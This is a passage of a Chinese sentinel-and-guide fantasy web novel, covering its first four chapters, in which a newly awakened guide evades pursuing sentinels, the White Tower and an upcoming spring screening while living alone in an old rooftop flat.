《向导逃匿中》
1. 第 1 章
逃离追捕的第36天:
在我的三点钟方向,有个哨兵已经盯我一整份牛排的时间,他的量子兽是只雪豹,打着猫科动物求偶的呼噜声绕在我脚边。
真烦,为什么会有这么多哨兵,他们不应该都在执行任务吗?我必须得甩开他。
*
庄问微在备忘录里写下心情日记,随后一脚踩向翻出肚皮的量子兽——像个完全看不到量子兽的普通人那样,雪豹迅猛翻身避开,甩着惊疑不定的尾巴跟随女人收拾东西离开的脚步。
那位高大英俊的哨兵同步站起,伸个懒腰,将宽厚的臂膀以及颀长的身量展示出来,假装也吃好了,隔着一排桌子,两人几乎并肩而行。
如果不出哨兵的意料,他们会在收银台会面,女人包上挂着的玩偶是动漫吉祥物,他已经在刚刚查询了关于这个吉祥物的所有剧情和热梗,他们可以用这个作为开场话术。
但哨兵群里的家伙提醒,“一个人在节日单独吃饭,还是在情侣餐厅,你是被整了,对面可是真正心理强悍。”
没关系,如果女人是个很独的宅女,他还可以转变话术。
群内那些家伙一听向导一下炸开锅,谏言:“如果对方不接招,你可以说‘节日被好朋友整了,竟然到这种地方,狗粮都吃饱了。’”
也有人觉得温和,“哈?直接抛出哨兵身份不就行了?能挣钱又靠谱,丈母娘优选职业。”
“不好,这和直接炫富有啥区别,求偶是展现优点,不是让你拿钱砸脸,你上面说完接着这样说‘不过我好久没有正常来这种餐厅吃饭了,毕竟平时领的向导安抚剂得省着用’。”
有人羡慕嫉妒,“真的是野生向导吗?妈的,我怎么没有这好运气,早知道我该输的,竟然是你拿了优先匹配权!”
也有人冷静分析,“大家冷静点,就白塔那挖地三尺的程度,还有野生向导?就算真是野生向导,一顿饭快一个小时一点回应都没,意思很明确了吧.......”
群内其他讨论,对于此刻的哨兵并不重要,收银台就在眼前,他已经换了插兜装酷、撩头发耍帅、低头皱眉扮深沉等一系列姿势,可隔了一排桌子同行的女人一点视线都没给他。
没办法了,只能先行一步结账,帮女人也结了账,这样就能开启下一步话题。
*
男人一马当先来到收银台,侧身倚靠,展现优越的身高和下颌线,低沉的气泡音像可乐成精,“你好,结账。”
他正待说把后面的账也结了,就听后面传来女人的声音。
“你好,餐券。”
该死,这个柔和的声线也正合他的想象,果然高匹配度哨向之间的吸引力不是编的!
他还是第一次遇到这种令他坐立难安的女人,如果不是碍于这么多人,他都要化身兽类,用哨兵最原始的求偶方式去追捕向导了。
月光下,原始哨兵从空气里嗅闻白天向导不小心留下的汗液、血液,披星戴月、奔袭千里,不知疲倦地追寻,只为找到最能引发他原始冲动的向导,趁着沉睡,直接扑上,咬住向导的后颈完成结合。
即使之前的全国哨向技能大赛(被戏称为全国哨向相亲大赛)里,他也能保持坐怀不乱,在同伴都被向导迷晕的情况下达成任务拿到团队第一,可自从走进这家餐厅,看到那个女人......
“先生?”收银人员的声音打断这位哨兵的突然神游。
这位先生自从说了结账,就站在收银台前嘿嘿傻笑,做着不知什么美梦。
*
“?!!”
哨兵立刻警觉,唰地转过身去,冷汗并着凝滞的神色一并下来。
那个女人,不知什么时候——不见了!
“那个人呢?和我一起过来的女人?她并没有结过账。”
服务员在强大的威压下双腿战战,但仍努力回想,“她、她用餐券付过了。”
“餐券?”哨兵一把夺过那张券,变态又异常专注地贴到鼻前嗅闻,还留有女人经手的味道,他的眸色霎时专注,量子兽陡然拔高,从绕腿小可爱膨胀成为尖爪利齿的庞然大物,直塞得开阔的门厅拥挤起来。
凶猛雪豹连同哨兵的眼珠都亮了。
“您!您是哨兵!”刚刚还畏惧的服务员亲眼目睹哨兵发动能力,立刻脸颊飞红,附近听到声音的人敏锐捕捉到关键词立刻回身。
但那位哨兵并不在意,他的眼前,一条根据气味构成的追踪路径已经形成,向导就是他最重要的猎物。
即使回头因不经批准使用能力被罚,想必也有62%的哨兵愿意和他换,毕竟剩下38%已经有向导伴侣了。
简而言之,他要不抓住这次机会,所有苦苦赚取积分、争取向导匹配的哨兵们都要打死他!
*
情人节的茫茫人群里,庄问微柔和但不单薄的身形隐藏其中,某个拐角,她身体内跑出一个透明的动物,引着气味的线奔向另一个方向。
她并不后悔今天出来凑热闹,那个餐厅每年情人节都会邀请五星大厨操刀,机会不容错过,只是最近半年或者一年都不能过去了,哨兵对伴侣的执着有目共睹。
*
穿过繁华的街区,又走路一个小时,女人钻入熟悉的老街巷子,在一家面包店门口停下,这里有卖廉价的面包边。
刚刚那顿饭没有掏钱,餐券是她深夜出来搜硬币时找到的。
“还是一斤吗?”店员热情招呼,装东西时眼神还不停瞄着莫名有股吸引力的女人。
现在天气还冷,庄问微顿了顿,“全部。”
“这可有点沉哟。”
*
女人摇头,她好歹从小接受训练,即使15岁第一次觉醒失败、18岁第二次失败,那对哨向父母仍不间断对庄问微的哨向培训,直到他们练的小号弟弟顺利觉醒成功,她才彻底在家里变成边缘人物。
不,她也不算没有价值,如果不是庄问微逃得快,她大概已经生完孩子半年了——至少她还有哨向基因,下一代生出哨向的几率大,一些实在匹配不上的哨兵家族愿意尝试尝试,作为联姻产品她还是能发挥一点余热。
只可惜,庄问微更喜欢现在这样自由而贫苦的生活。
在网上接些零散的活儿,每天浇浇花、看看电影,时不时下馆子奖励自己一番,如果36天前,她没有突然觉醒成为向导的话,这样的日子她能过很久。
从高烧里苏醒,睁开眼没有看到白塔标志性的米白色墙体,庄问微就下定了决心,
——既然逃出来了,那就继续逃,如果没事可做,就把逃亡当做自己的使命。
*
店员不知道面前女人沉重的心思,把今天广播里的消息当谈资:“再过半
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个月就是春季哨向大排查了,我妹妹前几天才发烧痊愈,不知道是不是向导觉醒前兆。”
他以一种羡慕期待的语气说:“所有人都测不会太浪费吗?不过听说有些超龄成人也有概率觉醒,哎,觉醒后就是铁饭碗了,以后结婚、生育都不用操心......”
店员没有说完,因为对面女人的脸色突然不好起来,他以为自己说中对方痛处,毕竟社会上好多女孩都想嫁给哨兵而不得。
“不好。”她下了定论,“也许成为哨向并不如你们想的那么好。”
哨兵体能优越,但要执行最艰巨的任务,累积的压力只靠安抚剂根本活不到退休,真人向导的安抚需要排班和积分兑换,一辈子活得像笼子里的仓鼠。
向导精神力超绝,但要承担最繁重的分析,还要安抚哨兵,同时婚姻全靠上面分配,婚后要接受哨兵丈夫名为保护、实则是监视的亦步亦趋。
店员递来袋子,听了庄问微的话,眼神里含着疑惑。
这时,猫叫打断了他们的谈话,庄问微直接无视准备离开。
“喵~”
店员低头,“好可爱,它在撒娇!”
女人离开的脚步一顿,这才确定那猫不是擅长伪装的哨兵量子兽,只不过也就是一顿,为了伪装成功,她以后都要对动物视而不见。
走入深巷,人声寂静,庄问微左右环视,这时空气里若有似无产生了透明物体流动的气流,一只白色的狐狸逐渐显行,甩着尾巴快活地靠近。
“甩掉那个哨兵了吗?”
小腿高的狐狸轻轻点头,用毛茸茸的脸颊蹭着主人。
“干得好”,庄问微手指微微颤抖,“但更重要的是半个月后的向导摸排,你必须要比今天表现得更好。”
以社区或者村庄为单位,每家每户男女老少,所有人都要检测一遍,即使向导是高龄觉醒,甚至已结婚生子,白塔也能发动钞能力撬走墙角。
庄问微面前重新恢复无物,九尾狐能力之一的隐形发挥作用,她必须要在那之前长出第二根尾巴。
*
另一边,哨兵蹲在女厕面前已显得有点吓人,很快有人报警,在被警察同事带走之前,这位哨兵冲入女厕内,尝试将天花板掰开被认为是大变态。
“施阳泽!你tm的出名了!你即将臭名昭著!出现幻觉就赶快预约向导,连长以上能走绿色通道,至于那么饥渴吗!我告诉你,这事儿传到白塔那边,你这辈子都别想匹配到向导了!”
老领导好不容易和伴侣过个情人节,刺头就又闹出这种匪夷所思的事,隔着话筒愤怒都要充斥警车。
误会解开,哨兵迫不及待掰断手铐,钢铁在他手里碎得像苏打饼干,拿起电话就是执迷不悟:“不,不是幻觉,我的向导绝对是个天才!她一定在那里给我留下了线索,我要回去找她!”
“你!”老领导一口血堵在喉咙,差点喘不上气。
“野生向导有哪个是好惹的!啊?能力不够的被白塔抓走,剩下的都是刺头中的刺头,你去招惹他们??”
施阳泽舔了舔兴奋到干涩的嘴唇,“这样吧,春季大摸排马上就到了,你把我安排去当工作人员,你不是有挺多关系的么。”
“咔”,电话直接挂断。
哨兵嘿嘿笑下,在警察们敬畏又猎奇的目光中痞痞一敬礼,“誓不罢休!”
2. 第 2 章
庄问微知道哨兵是一种不好糊弄的物种,所以从一开始就没存侥幸心理,在餐厅站起来的那刻起,就用精神触丝慢慢侵蚀哨兵意识表层,帮助哨兵沉溺在冲动里。
后续将精神触丝收缩到极致,九尾狐带走气味,她投入气息混杂的人群。
幸好成功甩脱。
*
走过正在搭棚子的炒粉摊,老板娘热情打招呼:“又出去采风了?过几天该春季摸排了,可别误了,到时候身份证都用不了了。”
庄问微笑笑,不着痕迹将面包边藏起,“不走远,家里亲戚正好过来,请她出去吃饭了,我这边住不下,直接让她定景点旁边的酒店。”
“是,咱这块户型都不大”,老板娘看左右无人,神色突然紧张,“几个月前不是高原地震嘛,听说跑出来好多之前关着的东西,昨天东边垃圾桶里掉出一个吃了半截儿的小孩,哎呀造孽,小孩妈妈都要哭死了。”
庄问微“啊”了一声附和,随即皱眉担忧:“王姐那你这摊儿得支到凌晨吧。”
“可不是!不过从高原跑到咱们这儿且需要时间呢!”王姐擦擦汗,“大家都说如果网上查不到后续报道,那就是疯哨兵干的。”
疯哨兵,就是没及时得到精神安抚最终精神图景崩溃的哨兵,经历过高强度战斗、目睹了残酷诡异的现场,一步步哨兵的精神压力会加大,能力也不再稳定,需要立刻注射安抚剂或者由向导梳理放松。
如果真的走到疯狂的地步,他们都会在军营里被关押或走完生命,即使逃出来,没找到向导的话也活不久。
*
疯哨兵、春季大排查、高原跑出来的东西、餐厅那个哨兵,安稳的表面下,真实的世界动荡不安,但只要关上门,来到满是花的顶楼阳台,外面的声音就通通被隔绝。
当然现在不是春天,阳台没有花,不过不妨碍是家的一部分。
去年她最颓废的时候,一个月没有迈出家门,好不容易恢复了一点精神,打开电视,是弟弟获得哨兵比赛12岁组第一名时的采访回放。
那个气宇轩昂的少年介绍自己家庭是——“哨向组成的标准三口之家”。
一句话不提那个多次觉醒失败的普通人姐姐,所有人也都没觉得有问题。
当时她才离家大半年,闻声呆呆站着,给电视里那个孩子收拾书包的场景还历历在目......好久之后她推开卧室窗户,发现焊着栅栏跳不下去,于是又走上阁楼,陈旧的灰尘一踩扬起三丈高,她越走越快,心里有一股要办大事的冲动。
杂物挡住门,女人又推又踹,不顾一切想看到外面阳光,可是当阻挡的木板掉落,她看到的不是空茫茫的天空,是一片夹杂在嫩绿里面的鲜黄撞了满眼。
她霎时没了言语,忘了自己要干的事,只看到花盆龟裂,又遭了连续大雨,土已遍布整个废弃阳台,干枯腐败的细枝垂满围墙,在这一片褐色颓丧里,迎春花傲然绽放。
它掌握了庄问微的整片天空,当她跪倒在地时,又被风吹低下头,像给了她一个拥抱。
自此以后,无论春天与否,那种绚丽的生命就常年开在庄问微心里。
安市距离首都哨向特区很近,文旅资源丰富,休假哨兵不少会选择来到这里,也许离开这里是最好的选择,可她放不下自己第一个家。
买下它需要87万。
*
庄问微回到家,把东西都放在该放的位置,再一次拽下阁楼楼梯,来到私人阳台。
摇椅上铺了很长的软垫,冬天坐不冰屁股,这摇椅是三楼老人不要的,软垫则是她自己拿废旧衣服缝的,一点没花钱。
13平米的凋谢空间里,左手边摆着两个泡沫塑料箱,种的是番茄,汁水充足味道酸甜,炒鸡蛋时临时上来摘两个,下楼鸡蛋也不会糊。
头顶网格上的黄瓜枯枝已经清理过了,因为网眼大,黄瓜长好了直溜溜垂下,一伸手就能拽掉,去年拍黄瓜、炒木须肉或者生吃,吃了一整个季节。
前头木箱里插着两根细木棍,方便豆角爬架,低矮一点的木箱里,种的是生菜,长得快,吃完几天就冒老高,右边又有茄子、苦瓜、土豆。
角落里空了不少位置,等天气暖和了,再把阁楼暖房里的花都摆出去。
最宝贝的迎春花在卧室窗台,巡完一圈,庄问微拿着喷水壶,细细喷着,拿一块布给每片叶子都擦干净。
不知是不是冬天暖气的功劳,这株植物竟然常绿,花苞鼓鼓,即将开放。
每日擦洗,本无尘埃,庄问微擦完就去打扫其他地方,没看到在她转身后,迎春花的一根枝条猛然抖了下,像是人被挠了痒痒似的。
*
国界线外,茂密森林中,东南亚风格的疗养院里,一双眼睛猛然睁开。
但他只是睁开眼,似乎并没有从长久的梦里醒来,眼中无物,曾经令人见之胆寒的脸上枯瘦一片。
门外持/枪警卫交接,安静的走廊里到处是摄像头,监控室内电脑上画面不停闪现。
很快,画面来到正对床头的那个,清晰显出病人抖动的嘴唇。
可监控人员带着耳机,背对屏幕,正在语音电话里吐槽:“那个人也就这么两年了,回头哪里找这么轻松的工作?哎,你说什么屁话,派来这边都算流放,怎么可能申请调回呢?”
医生照例在这个间隙打开紧闭的房门,拨开帘子,注视了一会儿没有动静的男人,良久叹了一口气,“再不醒过来,跟着你的老人一个个都被清除了。”
*
远方忧虑越不了国境,庄问微仍哼着歌,独自的日子总是很快乐,所以,绝对不能被白塔发现,也不能被哨兵发现。
那么问题来了,春季大排查是个全民总动员的大事,直接显示在身份信息后方,没有最新检测结果的话身份证等同失效。
觉醒前她的居住情况已经报给社区,国家为防止检测遗漏,在摸排前还会更新一次地址,结束时仍逃避检查,会按逃兵处理。
女人在桌前看着一年前办的假证,上面写着“普通人(新标第34次检测)”。
假证会自动填写检测结果。
“假证为了保证正常使用,当然会同步更新检测结果......”
她想到了一个好办法,检测仪器联网,所有信息实时更新上传,那么她可以假装遗失身份证,在今年检测期间再办一次假证,这样上面的信息就会更新为“普通人(新标第35次检测)”,变相逃掉了一次检测。
到时候社区来检查,谎称已经检测过就可以。
但这种方法终究偏门,既然决定生活在这里,想不碰到哨兵是不可能的,自身实力硬到能瞒天过海才是关键。
她在日记里补充:
逃离追捕的第36天:我成功从那个哨兵眼皮子底下逃走了!刺激!
*
夜晚,一个女人闭眼睡着,梦里并不平静。
在她不知晓的情况下,精神触丝从体内伸出,自动探向窗前迎春花,轻车熟路的模样不知偷偷做了多少次。
迎春花剧烈一抖,枝叶惯常抗拒地推开,那精神触丝被逼急了,竟分成两股,一股捆住挣扎的枝干,一股扎入土内。
花丛再一抖,枝干低垂,似乎睡着了,也不再推拒。
而越过国境线,躺在床上的植物人猛然皱起眉头,本已支离破碎的精神图景正被一股力量加速吸食,他零碎的意识迅速判断是向导的手笔,但这显然不是个手脚干净的向导。
很快,他脸颊起了红晕,额头汗珠滴落,不停喘着粗气,但刚快要到高峰,对方就撤走。
气得他睁开眼,遍览无人的病房,找不到人,只好自己伸手解决,可还没等抬起
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手来,就已经因对方断开联系而失去苏醒机会,脸上表情也定格在恨得牙痒痒。
*
同一时间,还有另一个男人被同个女人弄得难以入眠。
施阳泽离开警车后,无数遍重走那条路,不断使用能力找寻地缝里的线索,调取监控的请求被老领导严厉拒绝,还挨了劈头盖脸一顿骂。
“公器私用,你想干什么!要不然就提交申请,通知让白塔找人,要不然就自己原始地找。”
“通知白塔,她要是一生气,拒绝我的优先匹配怎么办!”
“我要是知道,就不会32岁才结合。”
“噢,我知道了,你就是觉得我比你早10年找到向导,心里不平衡了吧~”
“咔”,老领导被戳痛处挂电话。
最后灯火通明的街道慢慢暗下,路边小区一扇扇窗户亮起又灭掉,他的线索越来越少,步子越来越慢。
所有人都回了自己家,男人重新来到那间女厕门口的长椅坐下,他的量子兽也蔫嗒嗒地低着头,手机不断震动,关系好的、看不惯的,所有人都向他发来问候。
“哟,听说你夜闯女厕了。”
“阳哥,女厕和男厕有区别吗,不是嘲讽,真的是好奇。乖巧坐下.jpg”
“施副营,春季大排查后新向导的联谊你还申请不,老实给兄弟交个底啊,如果你找到了自己的向导,能不能这次别申请了,老弟差一名就能申请上了!”
熟悉的向导也发来信息,“小施,什么天仙能让你动凡心?我们这边春节聚会都开盘了,只有我一个赌你半年内能找到,快点帮我打脸他们,钱咱俩平分!”
“哧”,哨兵恨自己把读取速度训练得如此快,只是按个静音的功夫,所有鼓励嘲讽都收入眼下。
一条脏兮兮的小狗出现在落魄的哨兵面前,轻轻“呜呜”叫着。
“呵!”青年身形高大,背脊肌肉厚重,坐在那边如一座山,但他神色感慨,伸手逗弄小狗:“可怜的家伙,你也没人要啊。”
施阳泽复盘多次,更加确信那个女人就是向导,他这么一个大帅哥,即使不表明身份,行走之间,餐厅各处都会传来隐晦的打量,而那个女人自始至终都没有赏他一个眼神。
他敏锐感觉到那种刻意,在很短时间里由潜意识完成了直觉的加工,这种直觉天赋曾经帮助他拿过一等功。
所以,即使老领导再吵,其他人再嘲讽,他也会坚信自己的直觉。
“果然,我的向导也是个厉害人物,刚见面就给我下马威。”
他重新振作,向同病相怜的小狗诉说斗志,却不想远方传来“嘬嘬”声,小狗听到呼唤,立刻抛弃‘同伴’跑向远方的主人。
远远地,主人的训斥传过来,“一会儿不见,又把自己弄这么脏,还和流浪汉待一块,你也想这么晚了无家可归嘛?”
施阳泽拳头攥出破裂声,牙咬得死死的,狠狠朝远方喊:“谁无家可归,谁没人要!”
妈的,虎落平阳被犬欺,竟然会发生他身上!
*
夜深,老小区内昏暗的路灯突然齐齐熄灭,危险蔓延开来。
一辆轿车大小的蝙蝠张开肉翅盘旋,它轻巧落到树顶,猩红的眼望向人间,即使有人经过,也不会看到这诡异的一幕。
突然它注意到什么,一个扇翅来到唯一没有荒废的顶楼,挂在边缘网格上,倒悬着朝下一层窗户缝隙看去。
迎春花含苞待放,蝙蝠浑身一凛,感觉到对峙的危险,刚想尖啸发出警告,从土里蓦然深处一根精神触丝,扎入其大脑。
很快蝙蝠愉快起来,展开翅膀,转着圈儿飞向主人。
几个街区外,一个沉默寡言的哨兵站成夜里黑色的剪影,他专注盯着诱饵,兴奋的蝙蝠飞回来,还没将高兴情绪传递过来,就被他一把拍到墙上。
3. 第 3 章
凌晨,天空刚掀起一丝清醒的亮光,警笛就划破老城区人们的睡梦。
距离小区2公里的地方,一个哨兵死了,被发现时七窍流血,表情安详,周围也没有打斗痕迹,杀手明显同样是哨兵,一击搅烂了死者的大脑。
庄问微被租房群内的消息吵醒,刚看了大概情况,“咚咚咚”,房门响了。
她不作声,悄然贴近门口,通过猫眼来看。
是房东老人的孙子,刚上高中,他总佝偻着背,单薄的身体像一片纸,偏着眼不敢和人对视,一副自卑的模样。
今天不同往日,那孩子凶狠砸门:“我知道你在里面!快开门!”
庄问微摸到手机,直接打给房东老人。
那孩子立刻转为哀求:“小庄姐姐,真的很重要,昨天我看到那个杀人的哨兵了!”
老人耳背,响了七八下都没人接,庄问微想了下,终于挂断电话出声:“就这么说吧,姐姐能听到。”
“快开门啊姐姐,让我看着你说!”
他情绪再度高涨,隔着门板,那股稚嫩又暴躁的属于哨兵的黑色情绪物质逸散进来。
女人猛然向后退一步,惊觉这是一个刚觉醒的哨兵,甚至不会管理自己。
哨兵听觉敏锐,隔着门板感知到庄问微的动向,“姐姐你躲什么?”
一般来说,哨兵意识到对面是向导,一靠向导量子兽,二靠向导精神触丝,三靠向导自然散发的向导素,四则是高匹配哨向会有的天生吸引。
没想到距离这么近的地方会冒出一个初生哨兵!
电光火石之间,女人收缩精神触丝,伪装成普通人,不让身体对哨兵的负面情绪产生反应。
外面的高中生显然已经等不了了,银行卡往门锁上一划,刚转变为哨兵的身体一撞,他直接扑进屋内,差一点就撞进庄问微的怀里。
女人当机立断,趁着男孩还未稳定身形,一个躲闪,冲向已坏了的门。
两人瞬间位置调换,女人在外,男孩在内。
“尹浩!看在你奶奶的面上,我给你一次机会,现在就走!”
男孩也不知道怎么搞成现在这样,从刚刚开始情绪和表现就过于兴奋,压不下来。
尹浩双手抱头,一副崩溃的样子,扑通一下跪在地上:“小庄姐,我来就是想告诉你,我觉醒成哨兵了,昨天晚上有只车子那么大的蝙蝠一直在咱们楼外飞。你别再拒绝我,我是哨兵了,但我还想要你,以后也不要向导,你这次接受我吧。”
庄问微气得一口气堵在胸口,“不行,滚!”
屈辱的神色浮现,男孩腮帮子鼓起,“小庄姐,你得做打算啊,不能一辈子租房不找男人吧,我是个哨兵,以后一年至少能挣40万,你只是个普通人,咱们两个关系已经调换了!”
“嗯嗯嗯”,女人只觉得搞笑,连连点头,“对对对,我配不上你,另谋高就哈。”
一句话落地,年轻的哨兵满脸通红,也知道事情搞砸了,似乎再无反转余地,不过他本就是在离家前试上一试,将从前所谓‘屈辱’都拿回来。
这两天他参与同学聚会,告别小学、初中以及高中的同学,接受街坊邻里的赞叹和曾经嘲讽者的恭维,大家都知道他成了哨兵前途无量,也害怕他即将获得的能力,连句重话都不敢说。
轻飘飘了好几天,昨天突然想起奶奶家的租客,那个莫名有股吸引力的姐姐拒绝他时是何等残酷,他立刻想象出对方听到自己觉醒为哨兵后的懊恼,于是想着给她一个机会。
却没想到,来到这里获得的是另一种屈辱,她没有一点吃惊、懊恼或者羡慕讨好,还是一样的拒绝。
这一下动摇了他几天内建立起来的狂信,从地上爬起来后,盯着地面,满心的渴求已转化为仇恨,下次,过上几年,他要带着自己找到的漂亮向导衣锦还乡,而小庄姐,几年之后不知衰老成什么样,还没有钱,仍然租在老楼的顶层,落魄至极。
只是想想,他立刻就不觉屈辱,只觉得爽快和期待。
擦肩而过,尹浩轻蔑开口:“现在100万都睡不到你,之后睡你可能只需要2000元,想了想,还是等你降价吧。”
说罢,他转头准备欣赏女人的表情,下一刻喉头猛然一窒,呼吸卡在肺部,还没等反击,铁箍一样的胳膊栓到更紧,他眼睛一翻,手脚力气乍然软下来。
庄问微一肘擒住他喉咙,一手扭住他挣扎的胳膊,几秒内扭转局势,那曾经让他渴望的轻柔气息吹在耳畔,“小朋友,才觉醒几天,嗯?爬出去蚁穴就以为自己成大象了?哪有那么快呢。”
底子太差的人初觉醒为哨兵,也需要一段时间才能适应,其力量技巧显然比不过为此准备十几年的庄问微。
“嗬——嗬——”尹浩肺部烫得像火,想喊救命,做出口型,但气儿上不来,根本喊不出去。
*
“哟,打扰二位了。”一个慢悠悠的男声从楼梯拐角传来,高大的金发男人无声上来,也不知听了多久。
看这个高大的体型,又是一个哨兵!
庄问微立刻松手,退后两步戒备,尹浩也终于喘上气来,连声“嗬嗬”,连滚带爬狼狈地来到金发男人脚下,指着抱臂在上的女人,心里想着的是小庄姐‘袭击哨兵’正好被新生导员目击,会被拘留3天。
下一秒,他就知道自己打错主意了。
金发男人一脚踩在男孩身上,将他脖子狠狠往下压,“小不点儿,刚刚这位女士说得多好。”
尹浩推着男人的腿,用力到全身发抖,可上面的金发男人纹丝不动,还有精力微笑和女人打招呼:“这位女士,您好,哨兵尖峰营中尉丹尼斯,今年不幸轮到我带小崽子。虽然很不想打扰你们的沟通,但这家伙快误集合时间了,您看?”
上方,女人对这暴行视若无睹,挥挥手,“小朋友罢了,等他进了哨兵营就顾不上恨我了。”
“很了解嘛~”中尉往后一踩,脱力的男孩立刻顺着楼梯往下滚去,“认识一下?”
脚步自然地后撤,庄问微拒绝:“我一个普通市民,只有在下面敬仰的份儿,哪谈得上认识。”
中尉顺势往上踩了一个台阶,鼻头皱起,“虽然很失礼,但您的房间传来一股香气——”
“啊?”女人闻了闻自己的领口,“是洗衣粉的味道吧。”
中尉定定看着她纹丝不动的脸,后退拉开距离,“您说是,那就是。”
走时很有风度地摆摆手,“那我就带这个小崽子去见识哨兵残酷的实力等级世界了~”
*
庄问微维持着那股淡定回到屋子,修好门锁,又坐在床边10分钟,
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从终于猛然喘出一口气,心脏狂跳起来。
那金发家伙是个至少B级的哨兵,鼻子比狗都灵,她在屋子觉醒已经过去30多天,就这样仍然能察觉到当初不小心逸散的向导素。
她拎起行李箱,真正惶然起来。
觉醒不过一个多月,哨兵一个个如同加了定位器一般跑来,她一边收拾着东西,一边已经在心里想象被白塔找到的后果。
24岁正是他们认为和哨兵结合的好时候,他们不会强迫,但哨兵会因此患得患失,等生完孩子,她才会去白塔工作,内容从给丈夫一个人梳理变成排班给所有哨兵梳理。
她才终于接触到芸芸众生,感受到普通人生活的乐趣,心已经野了,再回不去哨向特区里那种脚不沾地的日子了。
有很多人喜欢那种富贵生活,可作为主动逃离的大女儿,这样迫不及待的回去,那对夫妻少不得要说“看,你也觉得我给你安排的生活更好吧。”
*
心里乱,收拾得一塌糊涂。
庄问微决定先让自己静一静,再去思考要不要搬走的事,喝着早晨的芝麻糊,她隔窗看着底下热闹的人群。
小区中间空地上,社区工作人员已经拉好横幅“抓牢春季排查,掌控未来人生”,临时检测屋刚搭好,上面就贴了几大张海报,科普哨向人种能力,介绍未来待遇,以及逃避检测面临的相关法律风险。
很热心的社区大妈正忙前忙后,搬错了东西闹了笑话,还相互揶揄,笑声很轻松到达6楼的高度,女人推开窗户,在早春有些冷的风里仔细听她们的声音。
可下一刻,一头金发的男人从屋里钻出,比划着自己的身高,再比比刚到他头顶的小屋天花板,露出委屈的表情,把一堆人逗笑。
“丹尼斯!”
“丹尼斯,你可真高!”
庄问微唰地一下将窗户关上,原来她们高兴喊着的就是那个金发男人的名字。
真够花痴的!
女人离开窗台,端着杯子走来走去,他作为新生引导应该要跟着新生一起走,为什么会留在社区?
所有种种规定都涌入脑海,去年是她参加普通人春季大排查的第一年,确实是每个检测点都有哨兵把守,而且数量不少。
内情一想便可知,一旦出现新向导,他们便可以近水楼台先得月,在向导接触更多选择之前,给对方留下深刻印象。
也就是所谓的‘有限匹配权’。
那么,作为新生引导,却留下来的丹尼斯所想就很容易猜到,包括他刚刚顺着话不深究的原因,都是想给自己怀疑的向导人选留下好印象,争取优先匹配。
一通万通,昨天还对这个房子恋恋不舍的庄问微立刻清醒:不能留在这里了,必须要到哨兵不那么集中的偏远城市,她得继续逃跑!
*
逃离追捕的第37天:
在我正前方,再往下走6层楼左右,有一个哨兵盯上了我,他的量子兽不确定,但应该是嗅觉灵敏的犬类,足够他闻出30多天前觉醒时泄露的向导素。
我没有逃过检测仪器的信心,那么在此之前,需要彻底清洗屋子,在检测结束之前趁机逃离。好烦,附近好像出现了夜里杀哨兵的杀手,有人猜测是地下组织火拼,看起来夜里出行也不安全。
该怎么做?
4. 第 4 章
且不讨论怎么逃脱金发哨兵的事,一旦决定要搬家,钱的问题就立刻凸显出来。
18岁又一次觉醒失败,父母掏钱将她送入普通人大学,这笔择校费连同学费是他们最后一笔掏给她的钱,年轻气盛,庄问微不想每次要钱低声下气,自己打工赚生活费。
但这也导致,22岁从别人口中得知父母在积极‘卖女’时,她积蓄并不多,再加上为了彻底逃离,朋友网、打工途径,甚至曾经的银行卡,她都全部抛弃。
辗转来到这个顶楼时,身上只有2万现金。
做网络家教,加上接各种代写单子和机械图,这两年倒攒到了10万。
可一旦涉及到搬家,路费、旅馆费、租房押一付三的费用、中介费、重新采买生活物资的开销,一切都要做足准备。
左右立刻逃跑更显得心虚,不如和这个金发男周旋两天。
*
话是这样说,当庄问微第二天早早出门时,一定不会想到这天的经历会这么曲折。
岳雪如是个不靠谱的姑娘,早该知道这点,当年两人是在□□的地方相遇的。
——你办身份证吗,好巧我也是。
——你知道□□的地方吗,太好了,我跟着你。
——怎么还能选名字?太好了,姐姐你要姓庄吗,那我选一个跟妈妈姓吧。
出来第二天,岳雪如后知后觉:“小庄姐,我们那天是去办的假证吗?我其实是身份证丢了,要补办来着。”
不过乐观的姑娘不用安慰就振作起来了,“双重身份什么的,感觉也很酷。”
庄问微最自闭的时候什么活儿都不想干,整天坐吃山空,还是岳雪如拉她进各种兼职群,拉她进代课群,“要发呆就在课上发呆咯,反正被点名了你就说不会,还能赚钱!”
总之是各种意义上神奇的女孩,她拉了一个大活儿,说是当志愿者,招的人很多,混一下一天也有1000块,还管饭。
于是庄问微信了她的邪,到地方才知道,是参加抗议游/行。
岳雪如那死丫头举着标语大旗,听着前头人的宣讲,已然气愤填膺,庄问微抓住她的时候,队伍开始朝安市市/政/府大楼走。
路线提前报备过,周边全拉着警戒线,还有警/察三步一岗护卫,根本没有出逃空间,女人拉低帽檐,将自己缩到一位壮硕大妈后面:“......死丫头,这种钱你也敢挣?”
岳雪如被迫丢下装备、戴上口罩,“昨天你家附近那个案子有内情,死掉的哨兵是某个向导的匹配度第一,排名第二的哨兵委托黑手套杀了他。”
“那谁这么快查出来的?”
“当然是排名第三的哨兵。”
虽然知道哨兵的世界非常野蛮残酷,但血腥到这种程度,一向作为边缘人的庄问微还是想象不到。
“所以,我们这是为了给警方施压推动调查吗?”
姑娘猫一样的眼睛眨巴两下,理所当然反驳:“不是啊,那是我从我爸那儿知道的,今天主要是闹信息公开的事儿。”
原来如此,之前就发生过学生家长怀疑学校摇号系统不公正,让直播进行的抗议,最后事情很快解决,直播摇号后,大部分家长无话可说,成为一桩政绩美谈。
庄问微的腰板直起来,将口罩松开,终于能畅快呼吸一口。
但她立刻想到了什么,追问:“你说清楚一点,公开什么信息?”
“哨兵向导的匹配度信息啊!”说着岳雪如又气愤起来,“那些高层想干什么,不停给自己家人划拨高级向导,是要人为进化吗?”
旁边的女人一口气没喘上来,她就知道,这家伙大脑里关于事情优先级、重要性的排序和大众完全不同,当岳雪如觉得紧急时,应该是小事,当岳雪如放松得很,那不得了,肯定是个大事。
这种涉及哨兵向导的议题非常敏感,即使万分之一的觉醒概率,现在国内也有十万人,目前还没出现过哨兵总统的先例,因为大众敬仰哨兵、尊重向导的基础是他们不骑在普通人头上。
可哨兵如此强悍的体质带来无比强的掌控欲和自信,怎么可能甘于一直做一把刀,不少脱离管控的‘疯哨兵’在私下组建组织,意图谋国。
但哨兵存在命门,那就是无向导安抚时寿命很短,短到一个噪音炸弹过去,就能疯一大片,正好政府掌握了最多的向导资源,形成制衡。
当然白塔也不是吃素的,向导如一棵大树,成长到参天自然能反过来操控哨兵,可无奈他们存在漫长的小树苗阶段,而且总人数常年萎靡,于是和政府合作就变成一种保护措施。
向导、哨兵、普通人政府,三者长期处于暧昧的拉扯中。
*
